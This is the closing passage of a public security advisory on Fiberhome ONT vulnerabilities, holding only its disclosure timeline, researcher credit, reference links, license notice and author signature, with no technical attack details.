* Jan 9, 2021: Vulnerabilities checked again and the advisory was rewritten.
* Jan 12, 2021: A public advisory is sent to security mailing lists.



## Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/advisories/2021-fiberhome-0x00-ont.txt

https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

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-- 
Pierre Kim
pierre.kim.sec@gmail.com
@PierreKimSec
https://pierrekim.github.io/